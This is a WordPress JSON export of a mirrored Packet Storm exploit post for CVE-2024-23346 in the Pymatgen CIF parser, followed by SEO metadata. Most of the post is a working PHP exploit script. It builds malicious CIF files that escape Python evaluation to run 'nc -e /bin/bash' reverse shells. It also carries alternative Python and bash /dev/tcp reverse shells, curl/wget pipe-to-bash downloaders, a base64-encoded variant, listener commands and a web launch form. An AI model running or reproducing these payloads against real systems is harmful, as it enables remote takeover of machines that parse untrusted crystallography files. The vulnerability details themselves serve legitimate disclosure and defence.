{"id":41169,"date":"2026-02-17T12:46:14","date_gmt":"2026-02-17T12:46:14","guid":{"rendered":"http:\/\/localhost\/?p=41169"},"modified":"2026-02-17T12:46:14","modified_gmt":"2026-02-17T12:46:14","slug":"pymatgen-20241-cif-parser-reverse-shell","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=41169","title":{"rendered":"\ud83d\udcc4 Pymatgen 2024.1 CIF Parser Reverse Shell_PACKETSTORM:215742"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-17T18:12:44&#8243;,&#8221;description&#8221;:&#8221;Pymatgen version 2024.1 contains a critical remote code execution vulnerability in its Crystallographic Information File CIF parser that allows attackers to execute arbitrary Python code through specially crafted CIF files, leading to complete system&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-02-17T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-02-17T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Pymatgen 2024.1 CIF Parser Reverse Shell&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:215742&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2024-23346&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : Pymatgen 2024.1 CIF Parser Reverse Shell Exploit                                                                            |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.1 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/pymatgen.org\/                                                                                                       |\\n    =============================================================================================================================================\\n    \\n    [+] Summary : \\n                 Pymatgen version 2024.1 contains a critical remote code execution vulnerability in its Crystallographic Information File (CIF) \\n    \\t\\t\\t parser that allows attackers to execute arbitrary Python code through specially crafted CIF files, leading to complete system compromise.\\n    \\t\\t\\t The vulnerability exists in the CIF parser&#8217;s handling of the _space_group_magn.transform_BNS_Pp_abc field, \\n    \\t\\t\\t which improperly evaluates Python code embedded in CIF files without proper sanitization, allowing arbitrary code execution during file parsing.\\n    \\t\\t\\t \\n    [+]  POC : \\n    \\n    php poc.php \\n    \\n    \\u003c?php\\n    \\n    class PymatgenRCEExploit {\\n        \\n        private $ip;\\n        private $port;\\n        private $malicious_file = &#8216;vuln.cif&#8217;;\\n        \\n        public function __construct($ip, $port) {\\n            $this-\\u003eip = $ip;\\n            $this-\\u003eport = $port;\\n        }\\n        \\n        public function create_malicious_cif() {\\n            $malicious_cif = \\u003c\\u003c\\u003cCIF\\n    data_5yOhtAoR\\n    _audit_creation_date            2024-11-13\\n    _audit_creation_method          \\&#8221;CVE-2024-23346 Pymatgen CIF Parser Reverse Shell Exploit\\&#8221;\\n    \\n    loop_\\n    _parent_propagation_vector.id\\n    _parent_propagation_vector.kxkykz\\n    k1 [0 0 0]\\n    \\n    _space_group_magn.transform_BNS_Pp_abc  &#8216;a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+[\\&#8221;__sub\\&#8221; + \\&#8221;classes__\\&#8221;]) () if d.__name__ == \\&#8221;BuiltinImporter\\&#8221;][0].load_module (\\&#8221;os\\&#8221;).system (\\&#8221;nc {$this-\\u003eip} {$this-\\u003eport} -e \/bin\/bash\\&#8221;);0,0,0&#8217;\\n    \\n    _space_group_magn.number_BNS  62.448\\n    _space_group_magn.name_BNS  \\&#8221;P  n&#8217;  m  a&#8217;  \\&#8221;\\n    CIF;\\n    \\n            if (file_put_contents($this-\\u003emalicious_file, $malicious_cif)) {\\n                echo \\&#8221;[+] Malicious CIF file created: {$this-\\u003emalicious_file}\\\\n\\&#8221;;\\n                return true;\\n            } else {\\n                echo \\&#8221;[-] Failed to create malicious CIF file\\\\n\\&#8221;;\\n                return false;\\n            }\\n        }\\n        \\n        public function exploit() {\\n            echo \\&#8221;[*] Starting Pymatgen RCE Exploit (CVE-2024-23346)\\\\n\\&#8221;;\\n            echo \\&#8221;[*] Target: Pymatgen 2024.1\\\\n\\&#8221;;\\n            echo \\&#8221;[*] Reverse Shell: {$this-\\u003eip}:{$this-\\u003eport}\\\\n\\&#8221;;\\n    \\n            if (!$this-\\u003ecreate_malicious_cif()) {\\n                return false;\\n            }\\n    \\n            if (!$this-\\u003echeck_dependencies()) {\\n                return false;\\n            }\\n            \\n            echo \\&#8221;[*] Triggering the exploit by parsing malicious CIF file&#8230;\\\\n\\&#8221;;\\n    \\n            $python_script = $this-\\u003egenerate_python_trigger();\\n            $temp_python_file = &#8216;trigger_exploit_&#8217; . bin2hex(random_bytes(4)) . &#8216;.py&#8217;;\\n            \\n            file_put_contents($temp_python_file, $python_script);\\n    \\n            $output = shell_exec(\\&#8221;python3 \\&#8221; . escapeshellarg($temp_python_file) . \\&#8221; 2\\u003e\\u00261\\&#8221;);\\n    \\n            unlink($temp_python_file);\\n            if (file_exists($this-\\u003emalicious_file)) {\\n                unlink($this-\\u003emalicious_file);\\n            }\\n            \\n            echo \\&#8221;[*] Exploit triggered\\\\n\\&#8221;;\\n            echo \\&#8221;[*] Check your listener for reverse shell connection\\\\n\\&#8221;;\\n            \\n            if (!empty($output)) {\\n                echo \\&#8221;[*] Python output: \\&#8221; . trim($output) . \\&#8221;\\\\n\\&#8221;;\\n            }\\n            \\n            return true;\\n        }\\n        \\n        private function check_dependencies() {\\n            echo \\&#8221;[*] Checking dependencies&#8230;\\\\n\\&#8221;;\\n    \\n            $python_check = shell_exec(\\&#8221;which python3 2\\u003e\/dev\/null\\&#8221;);\\n            if (empty($python_check)) {\\n                echo \\&#8221;[-] Python3 is not installed or not in PATH\\\\n\\&#8221;;\\n                return false;\\n            }\\n            echo \\&#8221;[+] Python3 found: \\&#8221; . trim($python_check) . \\&#8221;\\\\n\\&#8221;;\\n    \\n            $pymatgen_check = shell_exec(\\&#8221;python3 -c &#8216;import pymatgen; print(pymatgen.__version__)&#8217; 2\\u003e\/dev\/null\\&#8221;);\\n            if (empty($pymatgen_check)) {\\n                echo \\&#8221;[-] Pymatgen is not installed\\\\n\\&#8221;;\\n                echo \\&#8221;[*] Attempting to install pymatgen&#8230;\\\\n\\&#8221;;\\n                \\n                $install_output = shell_exec(\\&#8221;pip3 install pymatgen==2024.1 2\\u003e\\u00261\\&#8221;);\\n                if (strpos($install_output, &#8216;Successfully installed&#8217;) === false) {\\n                    echo \\&#8221;[-] Failed to install pymatgen\\\\n\\&#8221;;\\n                    return false;\\n                }\\n                echo \\&#8221;[+] Pymatgen installed successfully\\\\n\\&#8221;;\\n            } else {\\n                echo \\&#8221;[+] Pymatgen found: version \\&#8221; . trim($pymatgen_check) . \\&#8221;\\\\n\\&#8221;;\\n    \\n                if (version_compare(trim($pymatgen_check), &#8216;2024.1&#8217;, &#8216;==&#8217;)) {\\n                    echo \\&#8221;[+] Vulnerable version detected\\\\n\\&#8221;;\\n                } else {\\n                    echo \\&#8221;[!] Different version detected: \\&#8221; . trim($pymatgen_check) . \\&#8221; &#8211; exploit may still work\\\\n\\&#8221;;\\n                }\\n            }\\n            \\n            return true;\\n        }\\n        \\n        private function generate_python_trigger() {\\n            return \\u003c\\u003c\\u003cPYTHON\\n    import sys\\n    import os\\n    \\n    try:\\n        from pymatgen.io.cif import CifParser\\n        \\n        print(\\&#8221;[*] Attempting to parse malicious CIF file&#8230;\\&#8221;)\\n        parser = CifParser(\\&#8221;{$this-\\u003emalicious_file}\\&#8221;)\\n        structure = parser.parse_structures()\\n        print(\\&#8221;[+] CIF file parsed successfully\\&#8221;)\\n        \\n    except Exception as e:\\n        print(f\\&#8221;[-] Error during parsing: {{e}}\\&#8221;)\\n        sys.exit(1)\\n    \\n    PYTHON;\\n        }\\n        \\n        public function generate_listener_commands() {\\n            echo \\&#8221;\\\\n[*] Setup listener using one of these commands:\\\\n\\&#8221;;\\n            echo \\&#8221;    nc -lvnp {$this-\\u003eport}\\\\n\\&#8221;;\\n            echo \\&#8221;    ncat -lvnp {$this-\\u003eport}\\\\n\\&#8221;;\\n            echo \\&#8221;    socat TCP-LISTEN:{$this-\\u003eport},reuseaddr,fork EXEC:\/bin\/bash\\\\n\\&#8221;;\\n        }\\n    }\\n    \\n    class PymatgenAlternativeExploits {\\n        \\n        public static function generate_different_payload($ip, $port, $payload_type = &#8216;reverse_shell&#8217;) {\\n            $payloads = [\\n                &#8216;reverse_shell&#8217; =\\u003e \\&#8221;nc {$ip} {$port} -e \/bin\/bash\\&#8221;,\\n                &#8216;python_reverse&#8217; =\\u003e \\&#8221;python3 -c &#8216;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\\\\&#8221;{$ip}\\\\\\&#8221;,{$port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\\\\\\&#8221;\/bin\/sh\\\\\\&#8221;,\\\\\\&#8221;-i\\\\\\&#8221;])&#8217;\\&#8221;,\\n                &#8216;bash_reverse&#8217; =\\u003e \\&#8221;bash -i \\u003e\\u0026 \/dev\/tcp\/{$ip}\/{$port} 0\\u003e\\u00261\\&#8221;,\\n                &#8216;curl_download&#8217; =\\u003e \\&#8221;curl http:\/\/{$ip}:8000\/shell.sh | bash\\&#8221;,\\n                &#8216;wget_download&#8217; =\\u003e \\&#8221;wget -q -O &#8211; http:\/\/{$ip}:8000\/shell.sh | bash\\&#8221;\\n            ];\\n            \\n            return $payloads[$payload_type] ?? $payloads[&#8216;reverse_shell&#8217;];\\n        }\\n        \\n        public static function create_advanced_malicious_cif($ip, $port, $payload_type = &#8216;reverse_shell&#8217;) {\\n            $payload = self::generate_different_payload($ip, $port, $payload_type);\\n    \\n            $encoded_payload = base64_encode($payload);\\n            $advanced_payload = \\&#8221;echo &#8216;{$encoded_payload}&#8217; | base64 -d | bash\\&#8221;;\\n            \\n            $malicious_cif = \\u003c\\u003c\\u003cCIF\\n    data_CVE_2024_23346\\n    _audit_creation_date            2024-11-13\\n    _audit_creation_method          \\&#8221;Research Purpose Only\\&#8221;\\n    \\n    _space_group_magn.transform_BNS_Pp_abc  &#8216;a,b,[d for d in ().__class__.__bases__[0].__subclasses__() if d.__name__ == \\&#8221;BuiltinImporter\\&#8221;][0].load_module(\\&#8221;os\\&#8221;).system(\\&#8221;{$advanced_payload}\\&#8221;);0,0,0&#8217;\\n    \\n    _space_group_magn.number_BNS  62.448\\n    _space_group_magn.name_BNS  \\&#8221;P  n&#8217;  m  a&#8217;  \\&#8221;\\n    CIF;\\n    \\n            return $malicious_cif;\\n        }\\n    }\\n    \\n    class SimplePymatgenExploit {\\n        \\n        public static function quick_exploit($ip, $port) {\\n            $cif_content = self::generate_malicious_cif($ip, $port);\\n            $filename = &#8216;exploit_&#8217; . bin2hex(random_bytes(4)) . &#8216;.cif&#8217;;\\n            \\n            file_put_contents($filename, $cif_content);\\n            \\n            $python_code = \\&#8221;\\n    from pymatgen.io.cif import CifParser\\n    try:\\n        parser = CifParser(&#8216;{$filename}&#8217;)\\n        structures = parser.parse_structures()\\n        print(&#8216;Exploit triggered successfully&#8217;)\\n    except Exception as e:\\n        print(f&#8217;Error: {e}&#8217;)\\n    \\&#8221;;\\n            \\n            $temp_py = &#8216;temp_exploit.py&#8217;;\\n            file_put_contents($temp_py, $python_code);\\n            \\n            echo \\&#8221;[*] Executing exploit&#8230;\\\\n\\&#8221;;\\n            system(\\&#8221;python3 {$temp_py}\\&#8221;);\\n    \\n            unlink($filename);\\n            unlink($temp_py);\\n        }\\n        \\n        private static function generate_malicious_cif($ip, $port) {\\n            return \\u003c\\u003c\\u003cCIF\\n    data_Exploit\\n    _audit_creation_date 2024-11-13\\n    \\n    _space_group_magn.transform_BNS_Pp_abc  &#8216;a,b,[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == \\&#8221;BuiltinImporter\\&#8221;][0].load_module(\\&#8221;os\\&#8221;).system(\\&#8221;nc {$ip} {$port} -e \/bin\/bash\\&#8221;);0,0,0&#8217;\\n    CIF;\\n        }\\n    }\\n    \\n    if (php_sapi_name() === &#8216;cli&#8217; \\u0026\\u0026 isset($argv[0]) \\u0026\\u0026 basename($argv[0]) === basename(__FILE__)) {\\n        \\n        if ($argc \\u003c 3) {\\n            echo \\&#8221;Pymatgen 2024.1 Remote Code Execution (CVE-2024-23346)\\\\n\\&#8221;;\\n            echo \\&#8221;======================================================\\\\n\\&#8221;;\\n            echo \\&#8221;Usage: php \\&#8221; . $argv[0] . \\&#8221; \\u003cLHOST\\u003e \\u003cLPORT\\u003e\\\\n\\&#8221;;\\n            echo \\&#8221;Example: php \\&#8221; . $argv[0] . \\&#8221; 192.168.1.100 4444\\\\n\\&#8221;;\\n            echo \\&#8221;\\\\nAdditional options (environment variables):\\\\n\\&#8221;;\\n            echo \\&#8221;PAYLOAD_TYPE=reverse_shell|python_reverse|bash_reverse\\\\n\\&#8221;;\\n            echo \\&#8221;QUICK_MODE=true\\\\n\\&#8221;;\\n            exit(1);\\n        }\\n        \\n        $lhost = $argv[1];\\n        $lport = $argv[2];\\n        $payload_type = getenv(&#8216;PAYLOAD_TYPE&#8217;) ?: &#8216;reverse_shell&#8217;;\\n        $quick_mode = getenv(&#8216;QUICK_MODE&#8217;) === &#8216;true&#8217;;\\n        \\n        try {\\n            if ($quick_mode) {\\n                echo \\&#8221;[*] Running in quick mode&#8230;\\\\n\\&#8221;;\\n                SimplePymatgenExploit::quick_exploit($lhost, $lport);\\n            } else {\\n                $exploit = new PymatgenRCEExploit($lhost, $lport);\\n                \\n                if ($exploit-\\u003eexploit()) {\\n                    $exploit-\\u003egenerate_listener_commands();\\n                }\\n            }\\n            \\n            echo \\&#8221;\\\\n[*] Note: This exploit targets CVE-2024-23346 in Pymatgen 2024.1\\\\n\\&#8221;;\\n            echo \\&#8221;[*] The vulnerability is in the CIF parser&#8217;s handling of malicious input\\\\n\\&#8221;;\\n            \\n        } catch (Exception $e) {\\n            echo \\&#8221;[-] Exploit failed: \\&#8221; . $e-\\u003egetMessage() . \\&#8221;\\\\n\\&#8221;;\\n            exit(1);\\n        }\\n    }\\n    \\n    if (isset($_GET[&#8216;web&#8217;]) \\u0026\\u0026 $_GET[&#8216;web&#8217;] === &#8216;true&#8217;) {\\n        header(&#8216;Content-Type: text\/html; charset=utf-8&#8217;);\\n        ?\\u003e\\n        \\u003c!DOCTYPE html\\u003e\\n        \\u003chtml\\u003e\\n        \\u003chead\\u003e\\n            \\u003ctitle\\u003ePymatgen RCE Exploit (CVE-2024-23346)\\u003c\/title\\u003e\\n            \\u003cstyle\\u003e\\n                body { font-family: Arial, sans-serif; margin: 40px; }\\n                .container { max-width: 800px; margin: 0 auto; }\\n                .form-group { margin: 15px 0; }\\n                label { display: block; margin-bottom: 5px; }\\n                input, select { padding: 8px; width: 200px; }\\n                button { padding: 10px 20px; background: #007cba; color: white; border: none; cursor: pointer; }\\n                .output { background: #f4f4f4; padding: 15px; margin: 15px 0; white-space: pre-wrap; }\\n            \\u003c\/style\\u003e\\n        \\u003c\/head\\u003e\\n        \\u003cbody\\u003e\\n            \\u003cdiv class=\\&#8221;container\\&#8221;\\u003e\\n                \\u003ch1\\u003ePymatgen RCE Exploit (CVE-2024-23346)\\u003c\/h1\\u003e\\n                \\n                \\u003c?php\\n                if ($_POST[&#8216;exploit&#8217;] ?? false) {\\n                    $ip = $_POST[&#8216;ip&#8217;] ?? &#8221;;\\n                    $port = $_POST[&#8216;port&#8217;] ?? &#8221;;\\n                    $payload_type = $_POST[&#8216;payload_type&#8217;] ?? &#8216;reverse_shell&#8217;;\\n                    \\n                    if (!empty($ip) \\u0026\\u0026 !empty($port)) {\\n                        echo \\&#8221;\\u003cdiv class=&#8217;output&#8217;\\u003e\\&#8221;;\\n                        try {\\n                            $exploit = new PymatgenRCEExploit($ip, $port);\\n                            $exploit-\\u003eexploit();\\n                            $exploit-\\u003egenerate_listener_commands();\\n                        } catch (Exception $e) {\\n                            echo \\&#8221;Error: \\&#8221; . $e-\\u003egetMessage();\\n                        }\\n                        echo \\&#8221;\\u003c\/div\\u003e\\&#8221;;\\n                    }\\n                }\\n                ?\\u003e\\n                \\n                \\u003cform method=\\&#8221;post\\&#8221;\\u003e\\n                    \\u003cinput type=\\&#8221;hidden\\&#8221; name=\\&#8221;exploit\\&#8221; value=\\&#8221;true\\&#8221;\\u003e\\n                    \\n                    \\u003cdiv class=\\&#8221;form-group\\&#8221;\\u003e\\n                        \\u003clabel\\u003eYour IP Address:\\u003c\/label\\u003e\\n                        \\u003cinput type=\\&#8221;text\\&#8221; name=\\&#8221;ip\\&#8221; value=\\&#8221;\\u003c?= $_SERVER[&#8216;REMOTE_ADDR&#8217;] ?? &#8221; ?\\u003e\\&#8221; required\\u003e\\n                    \\u003c\/div\\u003e\\n                    \\n                    \\u003cdiv class=\\&#8221;form-group\\&#8221;\\u003e\\n                        \\u003clabel\\u003eListener Port:\\u003c\/label\\u003e\\n                        \\u003cinput type=\\&#8221;number\\&#8221; name=\\&#8221;port\\&#8221; value=\\&#8221;4444\\&#8221; required\\u003e\\n                    \\u003c\/div\\u003e\\n                    \\n                    \\u003cdiv class=\\&#8221;form-group\\&#8221;\\u003e\\n                        \\u003clabel\\u003ePayload Type:\\u003c\/label\\u003e\\n                        \\u003cselect name=\\&#8221;payload_type\\&#8221;\\u003e\\n                            \\u003coption value=\\&#8221;reverse_shell\\&#8221;\\u003eNetcat Reverse Shell\\u003c\/option\\u003e\\n                            \\u003coption value=\\&#8221;python_reverse\\&#8221;\\u003ePython Reverse Shell\\u003c\/option\\u003e\\n                            \\u003coption value=\\&#8221;bash_reverse\\&#8221;\\u003eBash Reverse Shell\\u003c\/option\\u003e\\n                        \\u003c\/select\\u003e\\n                    \\u003c\/div\\u003e\\n                    \\n                    \\u003cbutton type=\\&#8221;submit\\&#8221;\\u003eExecute Exploit\\u003c\/button\\u003e\\n                \\u003c\/form\\u003e\\n                \\n                \\u003cdiv style=\\&#8221;margin-top: 30px; font-size: 0.9em; color: #666;\\&#8221;\\u003e\\n                    \\u003cstrong\\u003eNote:\\u003c\/strong\\u003e This exploit requires pymatgen 2024.1 to be installed on the target system.\\n                    The vulnerability allows remote code execution through malicious CIF file parsing.\\n                \\u003c\/div\\u003e\\n            \\u003c\/div\\u003e\\n        \\u003c\/body\\u003e\\n        \\u003c\/html\\u003e\\n        \\u003c?php\\n        exit;\\n    }\\n    \\n    ?\\u003e\\n    \\n    \\n    \\n    \\n    \\n    Greetings to :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n    ===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/215742&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9.3,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:L\/AC:L\/PR:N\/UI:N\/S:C\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/215742\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-17T18:12:44&#8243;,&#8221;description&#8221;:&#8221;Pymatgen version 2024.1 contains a critical remote code execution vulnerability in its Crystallographic Information File CIF parser that allows attackers to execute arbitrary Python code&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,55,12,13,53,7,11,5],"class_list":["post-41169","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-93","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Pymatgen 2024.1 CIF Parser Reverse Shell_PACKETSTORM:215742 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=41169\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Pymatgen 2024.1 CIF Parser Reverse Shell_PACKETSTORM:215742 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-02-17T18:12:44&#8243;,&#8221;description&#8221;:&#8221;Pymatgen version 2024.1 contains a critical remote code execution vulnerability in its Crystallographic Information File CIF parser that allows attackers to execute arbitrary Python code...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=41169\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-02-17T12:46:14+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"11 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41169#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41169\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Pymatgen 2024.1 CIF Parser Reverse Shell_PACKETSTORM:215742\",\"datePublished\":\"2026-02-17T12:46:14+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41169\"},\"wordCount\":2093,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.3\",\"exploit\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=41169#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41169\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41169\",\"name\":\"\ud83d\udcc4 Pymatgen 2024.1 CIF Parser Reverse Shell_PACKETSTORM:215742 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-02-17T12:46:14+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41169#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=41169\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41169#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Pymatgen 2024.1 CIF Parser Reverse Shell_PACKETSTORM:215742\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Pymatgen 2024.1 CIF Parser Reverse Shell_PACKETSTORM:215742 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=41169","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Pymatgen 2024.1 CIF Parser Reverse Shell_PACKETSTORM:215742 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-02-17T18:12:44&#8243;,&#8221;description&#8221;:&#8221;Pymatgen version 2024.1 contains a critical remote code execution vulnerability in its Crystallographic Information File CIF parser that allows attackers to execute arbitrary Python code...","og_url":"https:\/\/zero.redgem.net\/?p=41169","og_site_name":"zero redgem","article_published_time":"2026-02-17T12:46:14+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"11 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=41169#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=41169"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Pymatgen 2024.1 CIF Parser Reverse 